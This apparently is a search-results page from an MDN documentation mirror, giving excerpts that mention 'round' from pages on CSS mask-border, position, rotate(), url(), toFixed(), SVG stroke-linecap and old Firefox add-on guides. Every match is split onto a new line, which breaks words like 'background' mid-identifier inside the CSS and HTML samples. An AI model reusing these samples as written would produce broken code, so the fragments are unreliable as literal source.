...a repeat value of
round will make the mask slices fit evenly, i.e., without clipping or gaps.
... div { width: 200px; backg
round-color: lavender; border: 18px solid salmon; padding: 10px; /* prefixed longhand properties currently supported in chromium -webkit-mask-box-image-source: url(https://udn.realityripple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat:
round; -webkit-mask-box-image-outset: 1px; */ /* prefixed shorthand property currently supported in chromium */ -webkit-mask-box-image: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */
round; /* repeat */ /* updated standard shorthand property, not supported anywhere...
... yet */ mask-border: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */
round; /* repeat */ } result specifications specification status comment css masking module level 1the definition of 'mask-border' in that specification.
offset-anchor - CSS: Cascading Style Sheets
for more specifics, see the <position> and backg
round-position reference pages.
... note that the 3-value position syntax does not work for any usage of <position>, except for in backg
round(-position).
...the three are then given different backg
round-color and offset-anchor values.
... html <section> <div class="offset-anchor1"></div> </section> <section> <div class="offset-anchor2"></div> </section> <section> <div class="offset-anchor3"></div> </section> css div { offset-path: path('m 0,20 l 200,20'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; } section { backg
round-image: linear-gradient(to bottom, transparent, transparent 49%, #000 50%, #000 51%, transparent 52%); border: 1px solid #ccc; margin-bottom: 10px; } .offset-anchor1 { offset-anchor: auto; backg
round: cyan; } .offset-anchor2 { offset-anchor: right top; backg
round: purple; } .offset-anchor3 { offset-anchor: left bottom; backg
round: magenta; } @keyframes move { 0% { offset-...
outline-color - CSS: Cascading Style Sheets
invert to ensure the outline is visible, performs a color inversion of the backg
round.
... description an outline is a line that is drawn a
round an element, outside the border.
...if the color of the outline is adjusted, it is important to ensure that the contrast ratio between it and the backg
round the outline is placed over is high enough that people experiencing low vision conditions will be able to perceive it.
... color contrast ratio is determined by comparing the luminosity of the text and backg
round color values.
position - CSS: Cascading Style Sheets
html <div class="box" id="one">one</div> <div class="box" id="two">two</div> <div class="box" id="three">three</div> <div class="box" id="four">four</div> css .box { display: inline-block; width: 100px; height: 100px; backg
round: red; color: white; } #two { position: relative; top: 20px; left: 20px; backg
round: blue; } absolute positioning elements that are relatively positioned remain in the normal flow of the document.
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> css body { width: 500px; margin: 0 auto; } p { backg
round: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { backg
round: red; border: 1px solid black; } .positioned { position: absolute; backg
round: yellow; top: 30px; left: 30px; } result fixed positioning fixed positioning is similar to absolute positioning, with the exception that the element's containing block is the initial containing block established by t...
... </p> <div class="box" id="one">one</div> </div> css .box { width: 100px; height: 100px; backg
round: red; color: white; } #one { position: fixed; top: 80px; left: 10px; backg
round: blue; } .outer { width: 500px; height: 300px; overflow: scroll; padding-left: 150px; } result sticky positioning sticky positioning can be thought of as a hybrid of relative and fixed positioning.
... <dd>common</dd> <dd>converge</dd> <dd>crystal castles</dd> <dd>cursive</dd> </div> <div> <dt>e</dt> <dd>explosions in the sky</dd> </div> <div> <dt>t</dt> <dd>ted leo & the pharmacists</dd> <dd>t-pain</dd> <dd>thrice</dd> <dd>tv on the radio</dd> <dd>two gallants</dd> </div> </dl> css * { box-sizing: border-box; } dl > div { backg
round: #fff; padding: 24px 0 0 0; } dt { backg
round: #b8c1c8; border-bottom: 1px solid #989ea4; border-top: 1px solid #717d85; color: #fff; font: bold 18px/21px helvetica, arial, sans-serif; margin: 0; padding: 2px 0 0 12px; position: -webkit-sticky; position: sticky; top: -1px; } dd { font: bold 20px/45px helvetica, arial, sans-serif; margin: 0; padding: 0 0 0 12px; whi...
ruby-align - CSS: Cascading Style Sheets
/* keyword values */ ruby-align: start; ruby-align: center; ruby-align: space-between; ruby-align: space-a
round; /* global values */ ruby-align: inherit; ruby-align: initial; ruby-align: unset; syntax values start is a keyword indicating that the ruby will be aligned with the start of the base text.
... space-a
round is a keyword indicating that the extra space will be distributed between the elements of the ruby, and a
round it.
... formal definition initial valuespace-a
roundapplies toruby bases, ruby annotations, ruby base containers, ruby annotation containersinheritedyescomputed valueas specifiedanimation typediscrete formal syntax start | center | space-between | space-a
round examples ruby aligned at the start of the base text html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: start; } result ruby aligned at the center of the base text html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: center; } result extra space distributed between ruby elements html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp...
...>)</rp> </ruby> css ruby { ruby-align: space-between; } result extra space distributed between and a
round ruby elements html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: space-a
round; } result specifications specification status comment css ruby layout module level 1the definition of 'ruby-align' in that specification.
rotate() - CSS: Cascading Style Sheets
the rotate() css function defines a transformation that rotates an element a
round a fixed point on the 2d plane, without deforming it.
... the fixed point that the element rotates a
round — mentioned above — is also known as the transform origin.
...dinates on ℝ3 homogeneous coordinates on ℝℙ3 cos(a)-sin(a) sin(a)cos(a) cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00sin(a)cos(a)0000100001 [cos(a) sin(a) -sin(a) cos(a) 0 0] examples basic example html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; backg
round-color: skyblue; } .rotated { transform: rotate(45deg); /* equal to rotatez(45deg) */ backg
round-color: pink; } result combining rotation with another transformation if you want apply multiple transformations to an element, be careful about the order in which you specify your transformations.
... html <div>normal</div> <div class="rotate">rotated</div> <div class="rotate-translate">rotated + translated</div> <div class="translate-rotate">translated + rotated</div> css div { position: absolute; left: 40px; top: 40px; width: 100px; height: 100px; backg
round-color: lightgray; } .rotate { backg
round-color: transparent; outline: 2px dashed; transform: rotate(45deg); } .rotate-translate { backg
round-color: pink; transform: rotate(45deg) translatex(180px); } .translate-rotate { backg
round-color: gold; transform: translatex(180px) rotate(45deg); } result specifications specification status comment css transforms level 1the de...
url() - CSS: Cascading Style Sheets
/* simple usage */ url(https://example.com/images/myimg.jpg); url(data:image/png;base64,irxvb0…); url(myfont.woff); url(#idofsvgpath); /* associated properties */ backg
round-image: url("https://mdn.mozillademos.org/files/16761/star.gif"); list-style-image: url('../images/bullet.jpg'); content: url("pdficon.jpg"); cursor: url(mycursor.cur); border-image-source: url(/media/diamonds.png); src: url('fantasticfont.woff'); offset-path: url(#path); mask-image: url("masks.svg#mask1"); /* properties with fallbacks */ cursor: url(pointer.cur), pointer; /* associated short-ha...
...nd properties */ backg
round: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue; border-image: url("/media/diamonds.png") 30 fill / 30px / 30px space; /* as a parameter in another css function */ backg
round-image: cross-fade(20% url(first.png), url(second.png)); mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* as part of a non-shorthand multiple value */ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); /* at-rules */ @document url("https://www.example.com/") { ...
... the url() function can be included as a value for backg
round, backg
round-image, list-style, list-style-image, content, cursor, border, border-image, border-image-source, mask, mask-image, src as part of a @font-face block, and @counter-style/symbol in css level 1, the url() functional notation described only true urls.
... formal syntax url( <string> <url-modifier>* ) examples content property html <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> css li::after { content: ' - ' url(https://mdn.mozillademos.org/files/16761/star.gif); } result data-uri html <div class="backg
round"></div> css .backg
round { height: 100vh; } .backg
round { backg
round: yellow; backg
round: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3e%3cpath d='m10 10h60' stroke='%2300f' stroke-width='5'/%3e%3cpath d='m10 20h60' stroke='%230f0' stroke-width='5'/%3e%3cpath d='m10 30h60' stroke='red' stroke-width='5'/%3e%3c/svg%3e"); } specifications ...
Block formatting context - Developer guides
as explained in the guide to in-flow and out of flow elements, the float has been taken out of flow so the backg
round and border of the <div> only contain the content and not the float.
...="float">i am a floated box!</div> <p>i am content inside the <code>overflow:auto</code> container.</p> </div> </section> <section> <div class="box" style="display:flow-root"> <div class="float">i am a floated box!</div> <p>i am content inside the <code>display:flow-root</code> container.</p> </div> </section> css section { height:150px; } .box { backg
round-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; } .box[style] { backg
round-color: aliceblue; border: 5px solid steelblue; } .float { float: left; width: 200px; height: 100px; backg
round-color: rgba(255, 255, 255, .5); border:1px solid black; padding: 10px; } exclude external floats in the following example, we are using display:flow-root and...
... html <section> <div class="float">try to resize this outer float</div> <div class="box"><p>normal</p></div> </section> <section> <div class="float">try to resize this outer float</div> <div class="box" style="display:flow-root"><p><code>display:flow-root</code><p></div> </section> css section { height:150px; } .box { backg
round-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; } .box[style] { backg
round-color: aliceblue; border: 5px solid steelblue; } .float { float: left; overflow: hidden; /* required by resize:both */ resize: both; margin-right:25px; width: 200px; height: 100px; backg
round-color: rgba(255, 255, 255, .75); border: 1px solid black; ...
... margin collapsing creating a new bfc to avoid the margin collapsing between two neighbor div: html <div class="blue"></div> <div class="red-outer"> <div class="red-inner">red inner</div> </div> css .blue, .red-inner { height: 50px; margin: 10px 0; } .blue { backg
round: blue; } .red-outer { overflow: hidden; backg
round: red; } specifications specification status comment css display module level 3the definition of 'block formatting context' in that specification.
HTML attribute reference - HTML: Hypertext Markup Language
backg
round <body>, <table>, <td>, <th> specifies the url of an image file.
...use css backg
round-image instead.
... bgcolor <body>, <col>, <colgroup>, <marquee>, <table>, <tbody>, <tfoot>, <td>, <th>, <tr> backg
round color of the element.
...please use the css backg
round-color property instead.
<input type="time"> - HTML: Hypertext Markup Language
valid input readonly a boolean attribute which, if present, indicates that the contents of the time input should not be user-editable step the stepping interval to use both for user interfaces purposes and during constraint validation unlike many data types, time values have a periodic domain, meaning that the values reach the highest possible value, then wrap back a
round to the beginning again.
... note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may
round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
... making min and max cross midnight by setting a min attribute greater than the max attribute, the valid time range will wrap a
round midnight to produce a valid time range which crosses midnight.
... one way a
round this is to put a pattern attribute on your time input.
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
there is a special case: if the data type is periodic (such as for dates or times), the value of max may be lower than the value of min, which indicates that the range may wrap a
round; for example, this allows you to specify a time range from 10 pm to 4 am.
... there is a special case: if the data type is periodic (such as for dates or times), the value of max may be lower than the value of min, which indicates that the range may wrap a
round; for example, this allows you to specify a time range from 10 pm to 4 am.
...no forward slashes should be specified a
round the pattern text.
... for the input types whose domain of possible values is periodic (that is, at the highest possible value, the values wrap back a
round to the beginning rather than ending), it's possible for the values of the max and min properties to be reversed, which indicates that the range of permitted values starts at min, wraps a
round to the lowest possible value, then continues on until max is reached.
HTML elements reference - HTML: Hypertext Markup Language
<bdi> the html bidirectional isolate element (<bdi>) tells the browser's bidirectional algorithm to treat the text it contains in isolation from its sur
rounding text.
...most modern browsers implement this by sur
rounding the text in quotation marks.
... <bgsound> the internet explorer only html backg
round sound element (<bgsound>) sets up a sound file to play in the backg
round while the page is used; use <audio> instead.
... <big> the obsolete html big element (<big>) renders the enclosed text at a font size one level larger than the sur
rounding text (medium becomes large, for example).
Browser detection using the user agent - HTTP
are you trying to work a
round a specific bug in some version of a browser?
...also, experts, or simply people with another point of view, can give you ideas for working a
round the bug.
...browser makers do pay attention to bug reports, and the analysis may hint about other worka
rounds for the bug.
...the simplest way to do this is to separate all the code that moves content a
round based on screen size to a single function that is called when the page is loaded and at each resize event thereafter.
Number.prototype.toFixed() - JavaScript
the number is
rounded if necessary, and the fractional part is padded with zeros if necessary so that it has the specified length.
... examples using tofixed let numobj = 12345.6789 numobj.tofixed() // returns '12346': note
rounding, no fractional part numobj.tofixed(1) // returns '12345.7': note
rounding numobj.tofixed(6) // returns '12345.678900': note added zeros (1.23e+20).tofixed(2) // returns '123000000000000000000.00' (1.23e-10).tofixed(2) // returns '0.00' 2.34.tofixed(1) // returns '2.3' 2.35.tofixed(1) // returns '2.4'.
... note it
rounds up 2.55.tofixed(1) // returns '2.5'.
... note it
rounds down - see warning above -2.34.tofixed(1) // returns -2.3 (due to operator precedence, negative number literals don't return a string...) (-2.34).tofixed(1) // returns '-2.3' specifications specification ecmascript (ecma-262)the definition of 'number.prototype.tofixed' in that specification.
Autoplay guide for media and Web Audio APIs - Web media technologies
that could happen if the video is paused and resumed by the user or automatically by the browser when the document is in a backg
round tab.
... media.autoplay.allow-extension-backg
round-pages this boolean preference, if true, allows browser extensions' backg
round scripts to autoplay audio media.
... media.block-autoplay-until-in-foreg
round a boolean preference which indicates whether or not media playback is blocked when started on a backg
round tab.
... the default value, true, means that even when otherwise available, autoplay won't take place until after a tab is brought to the foreg
round.
Populating the page: how browsers work - Web Performance
this requires three more
round trips to the server before the request for content is actually sent.
... after the 8
round trips, the browser is finally able to make the request.
... in tcp slow start, after receipt of the initial packet, the server doubles the size of the next packet to a
round 28kb.
...it will retrieve resources in the backg
round so that by the time the main html parser reaches requested assets, they may possibly already be in flight, or have been downloaded.
Optimizing startup performance - Web Performance
instead, you should write your code so that your app creates a web worker that does as much as possible in a backg
round thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) should be broken up into small pieces so that the app's event loop continues to cycle while it starts up.
...all pure startup calculations should be performed in backg
round threads, while you keep the run-time of main thread events as short as possible.
... it's worth keeping in mind that most browsers typically start complaining that your script is blocking the main thread for too long at a
round 10 seconds or so.
...for games, consider having backg
round music playing or a nice splash screen displayed.
How to make PWAs installable - Progressive web apps (PWAs)
it contains useful information, such as the app’s title, paths to different-sized icons that can be used to represent the app on an os (such as an icon on the home screen, an entry in the start menu, or an icon on the desktop), and a backg
round color to use in loading or splash screens.
... { "src": "icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ], "start_url": "/pwa-examples/js13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "backg
round_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app.
... backg
round_color: a color used as the app's default backg
round, used during install and on the splash screen.
... the icon and the theme and backg
round colors are used to create this screen.
SVG Presentation Attributes - SVG: Scalable Vector Graphics
alignment-baseline baseline-shift clip clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering cursor direction display dominant-baseline enable-backg
round fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-line...
... value: auto|text-bottom|alphabetic|ideographic|middle|central| mathematical|hanging|text-top; animatable: yes enable-backg
round deprecated since svg 2 it tells the browser how to manage the accumulation of the backg
round image.
... value: butt|
round|square; animatable: yes stroke-linejoin defines the shape to be used at the corners of paths when they are stroked.
... value: arcs|bevel|miter|miter-clip|
round; animatable: yes stroke-miterlimit defines a limit on the ratio of the miter length to the stroke-width used to draw a miter join.
stroke-linecap - SVG: Scalable Vector Graphics
any element but it has effect only on the following eight elements: <altglyph>, <path>, <polyline>, <line>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the (default) "butt" value --> <line x1="1" y1="1" x2="5" y2="1" stroke="black" stroke-linecap="butt" /> <!-- effect of the "
round" value --> <line x1="1" y1="3" x2="5" y2="3" stroke="black" stroke-linecap="
round" /> <!-- effect of the "square" value --> <line x1="1" y1="5" x2="5" y2="5" stroke="black" stroke-linecap="square" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4 m1,3 h4 m1,5 h4" stroke="pink" stroke-width="0.025" /> </svg>...
... usage notes value butt |
round | square default value butt animatable yes butt the butt value indicates that the stroke for each subpath does not extend beyond its two endpoints.
...a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="butt" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg>
round the
round value indicates that at the end of each subpath the stroke will be extended by a half circle with a diameter equal to the stroke width.
... example html,body,svg { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "
round" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="
round" /> <!-- effect of the "
round" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="
round" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> square the square value indicates that at the end of ea...
stroke-linejoin - SVG: Scalable Vector Graphics
glyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 18 12" xmlns="http://www.w3.org/2000/svg"> <!-- upper left path: effect of the "miter" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="miter" /> <!-- center path: effect of the "
round" value --> <path d="m7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="
round" /> <!-- upper right path: effect of the "bevel" value --> <path d="m13,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="bevel" /> <!-- bottom left path: effect of the "miter-clip" value with fallback to "miter" if no...
...1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5.5" r="0.05" fill="pink" /> </g> <use xlink:href="#highlight" x="6" /> <use xlink:href="#highlight" x="12" /> <use xlink:href="#highlight" x="2" y="6" /> <use xlink:href="#highlight" x="8" y="6" /> </svg> usage context value arcs | bevel |miter | miter-clip |
round default value miter animatable yes arcs note: the arcs value as been introduced in svg2 and it isn't widely supported yet, see browser compatibility bellow for details.
...x="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5" r="0.05" fill="pink" /> <path d="m7,5 l0.75,-3 l0.75,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="7" cy="5" r="0.05" fill="pink" /> <circle cx="7.75" cy="2" r="0.05" fill="pink" /> <circle cx="8.5" cy="5" r="0.05" fill="pink" /> </g> </svg>
round the
round value indicates that a
round corner is to be used to join path segments.
... example html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "
round" value --> <path d="m1,5 l2,-3 l2,3" stroke="black" fill="none" stroke-linejoin="
round" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5" r="0.05" fill="pink" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'stroke-linejoin' in that specification.
2015 MDN Fellowship Program - Archive of obsolete content
they enable the creation of effective offline experiences and wiill also allow access to push notifications and backg
round sync apis.
...webgl is getting some cool new features in 2015 with the standardization efforts a
round the webgl 2.0 spec being published.
...you may propose your own subject area (examples: virtual reality on the web, network security, css, etc.) or we will work with you to match you to the best subject based on your backg
round and mozilla priorities.
panel - Archive of obsolete content
a panel's content is loaded as soon as it is created, before the panel is shown, and the content remains loaded when a panel is hidden, so it is possible to keep a panel a
round in the backg
round, updating its content as appropriate in preparation for the next time it is shown.
...self.port.on("show", function onshow() { textarea.focus(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { backg
round-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </body> </html> finally, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png to learn much more about content scripts, see the working with content scripts guide.
...addon.port.on("show", function onshow() { textarea.focus(); }); finally, the html file now references "get-text.js" inside a <script> tag: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { backg
round-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> <script src="get-text.js"></script> </body> </html> styling panel content the panel's default style is different for each operating system: this helps to ensure that the panel's style is consistent with the dialogs displayed by firefox and other applications, but means you ne...
Creating annotations - Archive of obsolete content
it is initially off: var matchedelement = null; var originalbgcolor = null; var active = false; function resetmatchedelement() { if (matchedelement) { (matchedelement).css('backg
round-color', originalbgcolor); (matchedelement).unbind('click.annotator'); } } self.on('message', function onmessage(activation) { active = activation; if (!active) { resetmatchedelement(); } }); this selector listens for occurrences of the jquery mouseenter event.
... $('*').mouseenter(function() { if (!active || $(this).hasclass('annotated')) { return; } resetmatchedelement(); ancestor = $(this).closest("[id]"); matchedelement = $(this).first(); originalbgcolor = $(matchedelement).css('backg
round-color'); $(matchedelement).css('backg
round-color', 'yellow'); $(matchedelement).bind('click.annotator', function(event) { event.stoppropagation(); event.preventdefault(); self.port.emit('show', [ document.location.tostring(), $(ancestor).attr("id"), $(matchedelement).text() ] ); }); }); conversely, the add-on resets the matched element on ...
... annotation editor html the html is very simple: <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style type="text/css" media="all"> body { font: 100% arial, helvetica, sans-serif; backg
round-color: #f5f5f5; } textarea { width: 180px; height: 180px; margin: 10px; padding: 0px; } </style> </head> <body> <textarea rows='10' cols='20' id='annotation-box'> </textarea> </body> </html> save this inside data/editor as annotation-editor.html.
Customizing the download progress bar - Archive of obsolete content
the myextension.css file will look something like this: richlistitem progressmeter { %ifdef xp_win min-height: 17px !important; %else %ifdef xp_macosx -moz-appearance: none !important; backg
round-image: url(chrome://myextension/skin/progress_bg_osx.png) !important; %endif %endif } richlistitem .progress-bar { %ifdef xp_win -moz-appearance: none !important; backg
round-image: url(chrome://myextension/skin/progress_fd_win.png) !important; %else %ifdef xp_macosx backg
round-image: url(chrome://myextension/skin/progress_fd_osx.gif) !important; %endif %endif } note: this ...
...we are specifying the height of the progress meter on windows and a backg
round image on mac.
... the backg
round image (the first one in the file) should be a segment of whatever you want the unfilled portion of the progress bar to look like.
Custom XUL Elements with XBL - Archive of obsolete content
we didn't need to create a whole xul structure that would require a
round 7 nodes every time a "person" is created.
...in order to work a
round this problem, the anonid attribute is used instead: <xul:label anonid="xulshoolhello-name-label" xbl:inherits="value=name" /> and then, in order to get a reference to the node from the js code in your binding, we use the getanonymouselementbyattribute dom method: let namelabel = document.getanonymouselementbyattribute( this, "anonid", "xulshoolhello-name-label"); implementation...
...you can move it a
round, delete it or clone it.
User Notifications and Alerts - Archive of obsolete content
the level argument determines the "strength" of the message, indicated by its backg
round color when it is displayed.
...you'll have to code a
round this using tab events in order to know when to re-display your alert.
...you'll end up with a box with a white backg
round you can't get rid of .
Tabbed browser - Archive of obsolete content
openuilinkin( url, where, allowthirdpartyfixup, postdata, referrerurl ) where: "current" current tab (if there aren't any browser windows, then in a new window instead) "tab" new tab (if there aren't any browser windows, then in a new window instead) "tabshifted" same as "tab" but in backg
round if default is to select new tabs, and vice versa "window" new window "save" save to disk (with no filename hint!) openuilink( url, e, ignorebutton, ignorealt, allowkeywordfixup, postdata, referrerurl ) the following code will open a url in a new tab, an existing tab, or an existing window based on which mouse button was pressed and which hotkeys (ex: ctrl) are being held.
...(ci.nsidomwindow); var gbrowser = adomwindow.gbrowser; //this is the gbrowser object of the firefox window this tab is in var atab = gbrowser._gettabforcontentwindow(contentwindow.top); //this is the clickable tab xul element, the one found in the tab strip of the firefox window, atab.linkedbrowser is same as browser var above //can stylize tab like atab.style.backg
roundcolor = 'blue'; //can stylize the tab like atab.style.fontcolor = 'red'; var browser = atab.linkedbrowser; //this is the browser within the tab //this is what the example in the previous section gives //end getting other useful stuff } else { components.utils.reporterror('exception: load context not found!!'); //this is li...
... .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindow); var gbrowser = adomwindow.gbrowser; var atab = gbrowser._gettabforcontentwindow(contentwindow.top); //this is the clickable tab xul element, the one found in the tab strip of the firefox window, atab.linkedbrowser is same as browser var above //can stylize tab like atab.style.backg
roundcolor = 'blue'; //can stylize the tab like atab.style.fontcolor = 'red'; var browser = atab.linkedbrowser; //this is the browser within the tab //this is where the example in the previous section ends return { adomwindow: adomwindow, gbrowser: gbrowser, atab: atab, browser: browser, contentwindo...
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
the breakdown: 1 master screen media file which imports 4 files: a base file (bulk of formatting) a file for finance/table formatting color file (override colors and backg
round images for specific color scheme) temp file (used for styles associated with temporary features and ad-related pages) 1 print media file 1 aural media file 3 master alternate style sheets which import 1 file each the 3 imported files set alternate font sizes (small, large, larger) how much did the size of a typical wired news page shrink?
...a
round that time, i started discovering great sites like glish.com and bluerobot.com.
...it also eliminates most of the backg
round colors and images to save on printer ink.
Finding the code to modify - Archive of obsolete content
when you select a node in the tree, a red border flashes for several seconds a
round the visual representation of that node in the browser window.
...notice the flashing red border a
round the horizontal status bar at the bottom of the browser window.
...notice the flashing red border a
round each different section of the status bar.
Drag and Drop - Archive of obsolete content
this section describes how to implement objects that can be dragged a
round and dropped onto other objects.
... the drag and drop interface many user interfaces allow one to drag particular objects a
round within the interface.
...mozilla and xul provide a number of events that can handle when the user attempts to drag objects a
round.
Style System Overview - Archive of obsolete content
“reset”: 'border', 'backg
round', etc.
... we create one style context per frame, since frames point to style contexts rather than the other way a
round.
... style context tree: doc: b ↙ ↓ ↘ title: c para: f class="emph" para: d ↓ ↓ quote: a quote: a ↓ span: e class="emph" the rule tree and style data all of the style structs that can be obtained through a style context add up to a
round 900 bytes.
Venkman Introduction - Archive of obsolete content
this quick stop mode reflects a common scenario in javascript debugging, which is to inspect and debug scripts while they are running, as on a page where elements are moved a
round dynamically with dhtml.
...if the breakpoint is successfully set, the margin will show the letter "b" on a red backg
round, and both the loaded scripts view and interactive session view will provide feedback.
... the best way to get to know venkman, of course, is to play a
round with it — to set it up in the way that makes the most sense to you, to try loading scripts and setting breakpoints, evaluating expressions in the interactive session view, watching the values of variables as they change when scripts are executed, getting profile data.
loadTabs - Archive of obsolete content
« xul reference home loadtabs( uris, loadinbackg
round, replace ) loadtabs( uris, params ) return type: no return value loads a set of uris, specified by the array uris, into tabs.
... if loadinbackg
round is true, the tabs are loaded in the backg
round, and if replace is true, the currently displayed tabs are replaced with the specified uris instead of adding new tabs.
... the properties of params are following: boolean inbackg
round boolean replace boolean allowthirdpartyfixup tab targettab number newindex object postdatas number usercontextid ...
Filtering - Archive of obsolete content
it will also need to include a <menupopup> a
round all of the items.
...several worka
rounds can be used in this simple example.
...another worka
round is to just rebuild the template once the data has been loaded.
Result Generation - Archive of obsolete content
first, however, some backg
round.
...to navigate a
round, you could start at node a and navigate a
round the graph following the arrows to b, c or d.
...templates provide a means of navigating a
round using only arrows with specific labels.
Groupboxes - Archive of obsolete content
a simple groupbox example the example below shows a simple groupbox: example 1 : source view <groupbox> <caption label="answer"/> <description value="banana"/> <description value="tangerine"/> <description value="phone booth"/> <description value="kiwi"/> </groupbox> this will cause four pieces of text to be displayed sur
rounded by a box with the label answer.
...ements within the structure, such as in the following example: example 3 : source view <radiogroup> <radio id="no" value="no" label="no number"/> <radio id="random" value="random" label="random number"/> <hbox> <radio id="specify" value="specify" label="specify number:"/> <textbox id="specificnumber"/> </hbox> </radiogroup> note that the radiogroup element does not draw a border a
round it.
... you should place a groupbox element a
round it if a border and caption are desired.
Modifying the Default Skin - Archive of obsolete content
for example, by adding the following to the end of the file, you can change all menubar elements to have a red backg
round.
... menubar { backg
round-color: red; } if you open any firefox window after making this change, the menu bars will be red.
...for example, to add a red border a
round the menu commands in the bookmarks manager window, add the following to bookmarksmanager.css in the classic.jar or your favorite skin archive.
Skinning XUL Files by Hand - Archive of obsolete content
in a cascading stylesheet, the style definitions have the following basic form: element { style-attribute1: value; style-attribute2: value; style-attribute3: value; } for example, the following definition -- were it not in serious conflict with the many menu style definitions in the global skin -- makes all xul menus appear with a one pixel border, a light blue backg
round, and 10 point fonts: menu { border: 1px; backg
round-color: lightblue; font-size: 10pt; } in addition to these basic element style rules, css also provides for the application of style information to classes of elements, and element ids.
... here is a very short (but complete!) cascading stylesheet that might be referenced and used by a xul file: toolbar.nav-bar { backg
round-image: url("chrome://navigator/skin/navbar-bg.gif"); padding: 0px; padding-bottom: 2px; } box#navbar { backg
round-color: lightblue; } a:link { color: #fa8072; } this stylesheet exhibits three of the different types of style definitions described above.
... add the following lines to the file: @import url(chrome://global/skin/); box#bbox { backg
